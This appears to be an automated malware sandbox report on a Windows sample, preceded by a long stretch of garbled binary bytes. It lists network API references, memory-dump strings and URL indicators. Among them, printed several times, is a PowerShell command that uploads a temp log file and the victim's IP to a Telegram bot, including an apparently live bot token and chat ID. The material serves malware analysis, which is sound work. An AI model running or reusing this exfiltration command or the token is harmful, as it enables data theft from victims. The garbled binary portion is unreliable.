Î¯rXB:®\^,XÙMÞbH(²>¨t ½"h/´2 ùs`"¥à³'{7ÌÅ]4£ÊN11¤U±U ¯»/õ²mßQåUÍ÷TYZ¾<Ñ×VÑ¸aqqWS0`'ªs?Á¹âJQ-8]çÎü»Ê76ÿºGÃèQC6|D0f0Fâ'UõÎF4Ó;\?ÛwñLþ»wT¼.iYªw;|Æ©²¿Paç@ÌÄZÙB%Ï®hu6ì×¤& ù±DèöÝù'_ 0Ælb;ë'@Íqò¥óf4Ù[<á[êLòÇk°6Á*$Ñ3UfC%*!1ëÜvt¹rmkíA.qwÁYDypteÅ5Ü24sS¿ÖªZáp÷á/_å¸zpeÖòx4wiX£VW"z ÍÍ¶Wùð¹Ê4®Dÿ$}ê»P'~zæ`Xu*3¤)ôf#^&l½]Ø\·¥h¾¯éÜ¯ç#°¸V¼«NÄ@@mCQ%UÌ:äTç5ØÇÃ,µ¬:aæLüaN-:ªs£¥¿NÂ²ýr]-øk¨S·7ô×´$:'þ:[§ÁG¨£nÃ{óªüMëÈÞðäÅÄýÈ¨"ÿî÷&åoû Íºë(Û¾ÀÁÎkI2/ãÌf¹m" ^¯Þtso5Ç¢^öÓém#ua¯¦Næc±avTFôkýÄp(\S$ïÇpâC°|·«Àã£#1©þw7qÍÑ¹dì42= ¿·l¯°%±ðàÑ'aÑª"5fYøZ¡îÆõ%ß\3¿¼y!?ãd¹1[ÿñ²Ê;¹¥¹^øÄ1P5Ö£w·Aò¶N9ãnn~|[Ñ%3ÐÝÛÂ3zt_Sz}$"ªoÏ?EcB0 Õ2^1E2eêVX§6ò²sE(¿i¥[x,0FëJö 8Ü½)+AªP¯uP)ÆÕ_?Ú±30cÞAÌ9doÄ3¨yF/Î¤ô¸(îÉäMó&}}1ï¿j ,¨òQyÙí&â0W¯ïÝiÎÂÅ[bå»U ð}ç}'|eu?&_8¤&ms8ó'Bfàéòçc¢r3S©Ò²dÌ}`qòª½yPÓïyÇ$©µ¹":z{<ñ´Kf @¦°Ççîs¨$ ,û'$÷DìÇÌGbï{UÕ%Y×¡£ð)ùr]&[}Ö¦´â¢ò%w£ nyÈ±ðqôS¤4|ë¢ðöoÈÖjnë5zâªYpy'û¡WKøNÏ>NQ:Ä$måEcÀ&Ñ5~{¢øyûõZãb.¢R2ºJkÆgfKX4K²«¿góì¾[rw«:£nµuíS@)AG³â!ô²jqz8sÆj7ÜctR#ZôsÇMÛ?>ü})ðÿ(¢v/eÀAd»Ðm|â&r;l(à¿§)´kÌ¾¿AcÓëçµ!Â-Òu,±ï}p|U"RRß¹ÅZ^ËN'ÒH6>êö7#²×ÕSwëñìýÇpZ8h*Æ5õïMÇáz!ûËÎ) \Ç½ÜÎç:âÐ6©qJÇÈb²Q^yi`¹ä#´"?Õ^4Q5ãSð3T÷hgÄ&Êo0w}oml³òépÜÒ{¢mÜ#ô9AÅà9$.q@6Ï1Â"OùV05X_úZzM¡¡5+¡&´ÈÈ=yûîð2{yTwUpÝ{=1ÝãÉþ²nµ!T\ÁÄ/5ÌQr5{!{ +P³3Y"@Ý'ckß¹÷ÔRÔ"¨©ú,ûCq©Êu? ;>~Ü@9´aq«øÓ$~N)åuâÀsP!íNbBô·J@ëNpot¨t|ûÓ&4ë5^ne6qì±±Ø\ã¶ÄûºwEðÓ_ò[*Z\O6|¯H5l8F0³5vW÷-Òò)Û6ýfîiéÉBÀëGiýÓCvr{Ù¿òçc²}){(ªîÖ>ª¬¾wA@BÐíàµ¼s´ã?µeoÁI£($¼«¾VÒù§89:"¥êãâãéqæ%¿uá[ç>%q9þ#Q4tà$A!}ÄæÔAj;91M$0ã/pS>µºßUúÃE$þj4cUDÅiûKÛ=à-ö`ö1;ârÑ`ðLØ4{1vQ&;f¥¬áãyÕÊæÒN2§z"?¶ÃÃZ»2ÎßAu¥`úNÅÓY'¶*~1¿Õ9 Æ×¯S´Ãf~jY_£ývaá³·NXr)±±æzýn½j_½è/â\06ïGPÍË?_64'z`úV =<¦<¶à×Rðÿzø)¥â2u qÝqÍdkýwúÕÉò(å>PtS÷qèÉÍ5UÍR-¿',§g#ìc¦Z©Iq2Å9¡æÏ´>¼míïC²¼4îÌó7UGPºX5¾ñÓñPåÒ½¢~Ø{9#È±&aR!q`ó8o3a2å}¦ú²ò¥ü3Ò$xÇ«ãßç9Ý0ãµ¡06À(ð#rþ¬¨ò5E?Ü^!föµ¡){a$ÓVëHC¯êo«ê_Ï2Õ>Ýd¸¨hì6´Nr¯Íz§~*Ù+Ò»aÈtÆîdÕhÞ}Bt#[×Çÿ&sÁÜd»Ðxd°P3"G1cë!mW;ruú²;»Íìuâ=bå§]nª*§Yá~b.Í\H3xz>'°~}-.ûXrñr1?[c_HæÜÑøñ<#ØÛcåêF=äûsøàR½øGgíµgdR &#èü}»ò"ÿátñïjcÅÉÚ½â`Ì±rôgÎÂõ/d{mðqºõ57öÖT3gþ@Ù}¡æÿQ§â¡É+jib=ÔW |úÓM{dAd0D?cT×X¬FîDM*j»ý² =c5=ØÕÂ´FÓ"b¾ðÃ²9¢Bf°e[TzãË¸5ÍðêPälÄ>~¡D9Çô2ÎZjÛÈ¤Õø¤E1ÝÉV-2!Äô(´:{a8\¦zjQùN}{8tc"³ ^@º#þ¿f¼4ÔHVsæ%f0`¢ô4ïä3`Ñ(UÞ¨/î¤XåßYÕ9äÓx{å0ÖØ;oJeâÌzM,ï ³7V+ø¨³Í£m8q@#GAB¦`©qý¼ ¡%¯mÂQà¢Mÿ¤ ¿u`1¡Ð¾WíÍïPÿyW`¼Îw¦°ÿ\ZjlËÒ^¶°îi* /=hüóE«c+ì`s1Ø¹êCôõ$î(g.úúmQû{Ac5Ø2@d¾oo ÷3s'¶¹öpjtä^3T~ùA[¥7åã.P£/fqïÃpì=~§ð1-¿ (ûXYò¬SÕç"¾'ñ$îÓ¡rLiá$ñ&0§ÁN#'2YÃë`ùC&%®^ñ¤zR2vv)ðÛ¼^Ò³}¹äAp)¹'éiyV²¸¸£µ»#ûß¯µS;P§þhMZB+Rî9TR¶è¾£|PiAÖ^*3?EXm$ kä6ðq¬éÝ;77+x½º>"'$AKPÝ"Bîauj[Þã)²+"ºø{>qÈh¡¿o7>þwÑ¾=¶åÃö *S¿üèãT)xô©±¢§%z ¥b6pHÌ¿\'}¶òï8g?,±Q÷g?RHAñr|Ã0Mè"Ck/N!SLÞÔm6,,ö\ãu"v¿³%OÈ.<3Fpï?V¾9ÉHùÈÀ¶,øt~ñK"?aeuåéÿ6úüOÙäc«Ø¾}5>å'¨VWé²ÿ¦¥°c¦^uñ2!.ÅoVüuh¯`s«±¦ÂlVÂ+¯½êµ¡dËêÞµþôxA|r(7´énUÌS'©K²>m{²$=ñ¼gàÁ!â!¿©_ p!;xÖj8{-*õÅ:n á÷*ÝQ÷/NôQX5l>aÕ7ìí6AÛ«L7-ø#ãgðD³).Rm~TBéS]%n\ÃÝúÉVºÉ<¡KS56ç;Û±>0kn£Ù{k´´A_Ë]½WB§Q62þ£¡"L¶GQp0]e>YcÛAtív%´7P÷ 0;K¯{Ë!½3ëm¦U^s)òw½g®áÔý½Ï½C÷[Ë[ÈÌÎüÅ¹í^9m 3æòù4ªy&gêDzÅMc¨{C}Ð`µNáQá±æW½C=Y4VÜPw¹NÒA5l¢N`tüDÅf)TuüÉÌrÓÆ{òIÕ§Ï%>Ìwó+cÚftõ£òdCû*÷äuPbtñQk¼à)QöÀ=¿¡4cÊ7§i¡k[£ü»ÎMQ -z3¹¾½©Ü¥4o´~ß¶1 ´uy0Pª=ÃìÐw¥óU|QfâZ´²0FlªÕ^Jyr0UbqT'îÕ{ÐA;ñ}©RU"ÁH|ÆYÿ©eø0;eõb"rð»'p\Svöt`ý¢Ä¬Ç·ì 1ðã« ÷7ñ.{*hPñY|¶ÆzGÒÎfhÀtØKçQþ\ÀY" ïàiPå%/½Ã.]q-)8Ã0*E¢Ã(4ójlsý(BóïÆëTXH¦÷< zûàÌ¢4á;4J0ðw¦Î#Î|¡-!pd\¨ìúT°NrhSâ¤#^CA)ù:§3*Gþ+¶Åv=$=`fz1Bâ[-ÕËbUQ\HëP"ºü{ÁÝÊ3/CõÉ'¡«Õ~r3+xò}Ø¤)}ÊÍ #« Ëûªµy{g:pq7Y&§µsnMíu_ïá@cHÿë$,¡RÕyFÛý G¼ vvÅ³>ËâæÎ|!;-fåA'8²¨9U¦ ²9r°ãIåó8Ãò<äæC"2åe=ÛP©éÆR7Êtæ#ph¬YÝcÎ|%¡âe¡Èc]iÊlì,Yþñi³&j(`4ÔÑ0bÇÌéb--»ThÐPE{úl0Y¡y+Ó0/1«Rlõ£PÒ["%Bî)5@1BìõxA2zèØ£2ÑdiDôzá´z¹=Á·9ë*|V=V½z-iÑVq´}èP½fÄs"JÌÆTëº°@ÇÖ,Ú`Ø\½Ay6÷åÆ*à¡¡ù&sËLzî¾ïÞ®¬ztµB{¿`-¶ íòWQCõÈ©È-vRøâ±ö(`tÝÄ(µ1ôV¦²÷CqÒªÈ£)Ñ£³â7I¥×Jp¡·6ðyz/S¡H²Lëç|Âu¥f%9÷°5U¥i:AÄÜ©¦ð1jà§%è÷<,Só^²ÚSµ»H£yëm=¾ÑCw0gß[Âî3Lõí»iÛBÌ´àkâÑZÅý¨÷+ã§úåÞÿÚZ²VR»eëfe¸W*û¹ÊÓZ0Ü-o-=¹ÎI04ºõ¿¿.Ïb8.N×RZê"lL1Ö×88¢x¹;7áSx0iÇZÉ4@Ï*.zÃð»pÛ"b¬ßï!+¸0ÛíW¡9X´KÈY¾¥¶ûAOé"$m¾Ùs>rÚLÂÿî·ï C/'ô¢<à§0mUêPPÏ¸VÙ³P`¼0i]aÏ¦ÜÄ;[9fV6Õ<ëµÕ^4x{Z~é´®6CúYY{S^då'ä¥u0]³öÖí¼#¼È=Àl|M4áK4èØ8rr;Ã´;´§E¥¨3©º>«ÝÇÐâ}Þí¦×VÊ0`Û?~ñuõA.·¾öÂ$d°/¼ÅÙ»ï£ë¡Wîp$fSCNð®8=(B¡Ø^bþ±P¤¥Ç"^Ij[X$ÛÇÁ?ÕÅçt÷ðßJ1Wìb§êÝ3`2BzmùYëKÀ-â?eP]3m#qïá¬c22¾5Å>Vi¬m{(¶fßðï/õ'ÃõmKâü¾}Úæ/={»nuµÎë-«gz¶·rø*ªÃþ1±ºe°lpºóxFsó[Æ5Ò7÷íZBÇÙaÛ`zC£Ø±È¹`ùy'ºZ½.nRàêã¸ã}5úP8+åª2ïãñS§ckò¹jÇÉ.t}¦ÝQÿ¹yj*÷òC5^±pË£íåµµý¼òR[ãîüæ½ÃÍÅHÇ7R5ÕCZrª³7LëµZdÐDGò#)sR7æjp4¿çGg~ovçÊ;³£Ímú}/>RRC;Ò6Uùà~WÃoØ&[ 9×æ6Õq'tBbÈ#Ù»XÍ-HÿlOc+,óÿwbT$O¢>m<øP%WØ73ãs±¿Î{? RçcAl{42¼ó:¬¥±m`ËßRR$}£0'xA*?;e¹ñÆYöSõg/*çm¥Ãì=]S$SUÐ8×<Á@GB^»ÔCv`ö}´¾©MíÍ-¹ñÝ¢°üe(©R¼²rÄs²wQti2®lÙF»A&ù`jÜIÙúä6íÉsÏã+ø<ÞÿuiN»\SÊÃùËÊúÜVÙ¡å9þjXzsü"Õ{P5D¦Ü`%;=@áFv5³¼6¸QFàyMÁ.E.¬Òh}¢ôÉù³4b0$jT#Õ#KzR¿îB¶Ã}Òðëï62ùÅZ'Ô=[&ýTRy94ÏeîÐ>;üãÁTgPùwqBRd.Äºl¤íz½ pÆËL÷mtNrì6õVñqo65ãA'àjðsÉê"Ô|¸Ô÷'éV'-t°ûaD>7RqdWÐU%æoNñT:¦F5ÆCÕA° Ë'õ!aL>:PýÖ/ú½}6{/IÅAîÌÎ{3môäón³{b ø1ý2û|=ØgÉ¸ú/'È\c->q½~cn`ÔÙ´_9qq.DÍ0îÃ.O¥sqéñwÝ«{óhk/Sq#Ê#ÒKtåÁnÞFï©¼4g>ácW±ø·¥ÏK>Eª{Ù ØAo?þ±ê¹nÒ¤$´¿þ750ÅY_yk¯®5ª¿·«úë9äÏ:{c:ÕWå¢GõÑÊÊ©ü9é±äÎ!¦"²k7Wîr¬ù¬ÝTä,É|å|#F,Á3Ç^ìîkðÂzÉähKcæ(±Tb`l0qý©ýÐËÃ,³PS²ËÇ¯ì<ôÿz/mªü'ø~&ÝßùÅ%ä¨IÍø_ÐÊ:"{yñ(m`X3lS&,5ºÎ°&µh4²å½¡)G.;4Sd'à:yÇéFÅTjà´rh²Ñc4ôíÉ¼ªèà"=;ëº3jbl¶$X?4Àó:×2°´BS!?øxÉ>0WVï.v%QÄ©JÇß{YOÄæ0fÿ4QÑQãZL6æ12í1±Á¥eö©x£Ì[zSR£:WÚXS|îúåÿÒµVF"A*Ào¤tA®xyÁ¨ö#Kq§Tú:*Iïén»9 fU:¢¦i´Hò£dGÂ}ê9ÂÄóì@ÁÙ{sØ"Ú²6¤P4:P æy£ÅugàQöäh¯Ë©¶¡yÂîzGÍ'àç¡¹)ZügÅ.+}î`í=#%8X±â¡zHb0ÖsâZçv-j£r-KI>[PôæÎ6î$\W;!Á£¥G`§ R-ÊËxöÿçæ¦²]pW«g1kÓg"~^,Ëâå0Ú9Ô1ZÕ/þZãY®Áz_hw%^4µºxFSÁÛtÞÍ´ÓÏ¤z%2ò³]TÙÏa£Ë½¾°89ªÅWVê¨x½3} dgÅõb+®búhúÍÍ¶ÚnorëShMêüª½WIE"lt±¢Ã%»tÏõý7ü±ÑdâpDéc§q)Êâæ[Å*ÊÎ]5Òüh½51¶Ô+#Pû¦=wÿ§\@Øà·¶çò´Ð¤íù.ÿZËh~I|Vµ_ªHÍ%!.äù¹¦p/||"ÉáÁ"ý>U(¸Û,;×?/SãyËw/6G@¹vywf3®³TÓâ3¶¨~w£¸ï:Shñîz|³l/?hC=çW££ý~<ë/µæ..æÍÿé°ÊVaRùBsslV_&4w§jpgCó3û¿RU,æ1zN¢çÄY£7¯-z÷(B%2¼tK«´%S@º=AþhRX21WÇ@i_:+QÁö.o>\î+aÈ{,B°ÐmQT#âL~þuñä',Ë³x?84í§î[7ùeË8%u`jiRR§%+Bí~¶T-723J,{rTad´,/cÕ÷%àqú³©éõÀkJ-øq¨}X=4&^ÄªµêÒh2Ç7¢µb4¼#~6:øÍ)B[ÐXì¾ÊÒÏ8=Wg{ðàhåÄ³tdYâ5×äH]¡år³ÝËì#"ÕyY4ì4l7X³°´»j}R¶f;QàiyÃaóï²ÞZ/Õ«¹5^¤É!¦¡*Õ2(Ès#q½°IE¡cM2>±nÁËëyÓíg@cèày}TR#c |{3ÎpMëñ#zbóXlw,ó4´I"\Çà<üúüÈÜ¸@,þÎÊÌÌbõaZ#&´£´GNÌ£ª§§ñ¥þ¨ÉÀ¬pí+;no{¸ÞDÅ@6}ïïÓ3pY)\ÉMÃÜÝñkw_-mó½³Pâ½¥î7aÑò=Ts÷aÈ -QË6Ìâ>â¸N+ùbâC;WYU½å$Á~fGw2A =LÚPat¬kÏ!ýÃ]çi¤ÊP ÷úÈ½!5#/¦Ê³/AôPv?øµðóbË.ôåü=òVüÌ%ksyès*#]ìs0Gw $Sº$IX²$îU¦9a¾_4<ÍÒÑü4ÏSSAûn_9¤'ZR"R¦ð+_cðí®àæq«®|Ú8ìák[ì"´IZbÿp-{&6o5®)m¼áu{ãñIBáëÎ¿id×¥;$ÑqFëø²fn¸Áó¨5ê`ñzÜ\2ÓBXR ÷È¿ß¼«jãiÃ{e3w¨Ð:âîÄM°3ß"¶_' }1Ë%ÐµoF)bÇÍÅ\¤ÌzµY²Ì¼Dnz"ÂÌ-A+%VË5*òäØv@²Ë¹¦sP«¿è¢ÑÎÚtá©¥µM+eã±VàÏ÷Ã{Úò> Ê©¿Ö²cgnÍç´j.<ÄäkÔë¨b7rv]CíM=êúV4_þøð±lü©ê5¶l¦;~kí6:ÎvÍäu/¸S#ÂÊøúäãwî54]4Ñ·â)°$:ýûø'¿ª"00î0Û>ÇÌ%E>spq¡¾ÑkGDàs5³w¡ÝÏ0ÍHV&Û³Z `]y8¹@WMZqCéûyUoÔNîïq×-bÁòHÓhkx9_?<ÙÉ%\ø=¿ÛÇøéËFfMó¬9ÛMßxNß:?¹1ÖÎÊ&Pz>ñ³#>yßÄbÚUÏ&@¡(9Puy#na7õ»ä¹ ¼@°ø¶æ@';ãO¡[ÕöçÐ·<7bìHS"; File: "PCAP") Found string "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary362B7FD8w: InstallsKnockTestcomplete: true"; Source: "00000000-00005708-00000CCC-1414302678")56:T924,Found reference to API "WinHttpQueryDataAvailable" (Indicator: "WinHttpQueryDataAvailable"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "WinHttpCrackUrl" (Indicator: "WinHttpCrackUrl"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "WinHttpAddRequestHeaders" (Indicator: "WinHttpAddRequestHeaders"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "WinHttpSetTimeouts" (Indicator: "WinHttpSetTimeouts"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "WinHttpCloseHandle" (Indicator: "WinHttpCloseHandle"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "WinHttpWriteData" (Indicator: "WinHttpWriteData"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "WinHttpSetOption" (Indicator: "WinHttpSetOption"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "WinHttpReceiveResponse" (Indicator: "WinHttpReceiveResponse"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin")57:T4bc,Found reference to API "WSAStartup" (Indicator: "wsastartup"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "WSACleanup" (Indicator: "wsacleanup"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp, 00000000-00002720.00000001.160058.739D0000.00000004.mdmp, 00000000-00002720.00000002.161977.739D0000.00000004.mdmp") Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp, 00000000-00002720.00000001.160058.739D0000.00000004.mdmp, 00000000-00002720.00000002.161977.739D0000.00000004.mdmp") Found reference to API "WSACleanup" (Indicator: "wsacleanup"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp")58:T8ee,Found string "https://api.telegram.org/bot8686432422:AAHGOVbzo-HirDgBmpzhc1lwNc2zamwL0rg/sendDocument" (Indicator: "api.telegram.org"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found string "Start-Sleep -Seconds 180; $ip=(irm https://api.ipify.org).Trim();curl.exe -F chat_id=-1003701740706 -F caption="ip $ip" -F document=@"$env:TEMP\log.txt" https://api.telegram.org/bot8686432422:AAHGOVbzo-HirDgBmpzhc1lwNc2zamwL0rg/sendDocument" (Indicator: "api.telegram.org"; File: "AMSI") file/memory contains long string with (Indicator: "api.telegram.org"; File: "powershell.exe") file/memory contains long string with (Indicator: "api.telegram.org"; Source: "00000000-00002720.00000000.158138.715C0000.00000004.mdmp, 00000000-00002720.00000001.160058.715C0000.00000004.mdmp, 00000000-00002720.00000002.161977.715C0000.00000004.mdmp") Found string "ent=@"$env:TEMP\log.txt" https://api.telegram.org/bot8686432422:AAHGOVbzo-HirDgBmpzhc1lwNc2zamwL0rg/sendDocument" (Indicator: "api.telegram.org"; Source: "00000000-00002720.00000000.158138.715C0000.00000004.mdmp, 00000000-00002720.00000001.160058.715C0000.00000004.mdmp, 00000000-00002720.00000002.161977.715C0000.00000004.mdmp") Found string "Start-Sleep -Seconds 180; $ip=(irm https://api.ipify.org).Trim();curl.exe -F chat_id=-1003701740706 -F caption="ip $ip" -F document=@"$env:TEMP\log.txt" https://api.telegram.org/bot8686432422:AAHGOVbzo-HirDgBmpzhc1lwNc2zamwL0rg/sendDocument" (Indicator: "api.telegram.org"; Source: "00000000-00002720.00000000.158138.715C0000.00000004.mdmp, 00000000-00002720.00000000.158138.719B0000.00000004.mdmp, 00000000-00002720.00000000.158138.73060000.00000004.mdmp, 00000000-00002720.00000000.158138.739D0000.00000004.mdmp, 00000000-00002720.00000001.160058.715C0000.00000004.mdmp, 00000000-00002720.00000001.160058.719B0000.00000004.mdmp, 00000000-00002720.00000001.160058.739D0000.00000004.mdmp, 00000000-00002720.00000002.161977.715C0000.00000004.mdmp, 00000000-00002720.00000002.161977.719B0000.00000004.mdmp, 00000000-00002720.00000002.161977.739D0000.00000004.mdmp") file/memory contains long string with (Indicator: "api.telegram.org"; Source: "00000000-00002720.00000001.160058.715C0000.00000004.mdmp, 00000000-00002720.00000002.161977.715C0000.00000004.mdmp")59:T583,"2.5.29.37" "2.5.29.35" "192.168.0.2" Potential IP "1.0.0.0" found in string "icrosoft.Management.Infrastructure,1.0.0.0,,31bf3856ad364e35" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "3.0.0.0" found in string "ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "4.0.0.0" found in string "4.0.0.0," Potential IP "2.5.29.35" found in string "#2.5.29.35" "2.5.29.15" "2.5.29.32" "2.5.29.14" Potential IP "2.5.29.37" found in string "%2.5.29.37" "2.5.29.31" "2.5.29.19" Potential IP "4.0.0.0" found in string "ystem.DirectoryServices,4.0.0.0,,b03f5f7f11d50a3a" "2.5.29.17" "2.5.29.1" "2.5.4.3" "2.5.29.10" "2.5.29.16" "1.0.0.1" Potential IP "0.0.0.0" found in string "0.0.0.0," "2.5.4.6" "2.5.4.8" "2.5.4.10" "2.5.4.5" "2.5.4.11" "2.5.4.7" Potential IP "1.0.0.0" found in string ":\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.localaccounts\1.0.0.0\microsoft.powershell.localaccounts.psd1" Potential IP "1.0.0.0" found in string "??\C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.psd1" Potential IP "1.0.0.0" found in string "??\c:\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.localaccounts\1.0.0.0\microsoft.powershell.localaccounts.psd1"5a:T1b77,Pattern match: "https://api.ipify.org" Pattern match: "https://api.telegram.org/bot8686432422:aahgovbzo-hirdgbmpzhc1lwnc2zamwl0rg/senddocument" Heuristic match: "api.cloudflareclient.com" Heuristic match: "ruruurururururu.ru" Heuristic match: "reclient.com" Heuristic match: "wireguard v1 zx2c4 jason@zx2c4.com" Pattern match: "http://www.w3.org/" Pattern match: "https://www.w3.org/" Heuristic match: "googlesyndication.com" Heuristic match: "youtube.com" Heuristic match: "msn.com" Pattern match: "www.bing.com" Heuristic match: "grammarly.com" Heuristic match: "taboola.com" Heuristic match: "doubleclick.net" Pattern match: "https://ioc.ex" Pattern match: "microsoft.net/framework64/v4.0.30319/" Heuristic match: "em.co" Heuristic match: "ntrust.net" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "www.digicert.com1$0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "http://www.microsoft.com0" Pattern match: "http://crl.globalsign" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "ft.com/py" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "0www.entrust.net/cps" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "www.digicert.com1!0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "http://www.validationtest.contoso.com/test%d.html" Heuristic match: "microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "??\c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: ":\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "dows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "5.cat" Heuristic match: 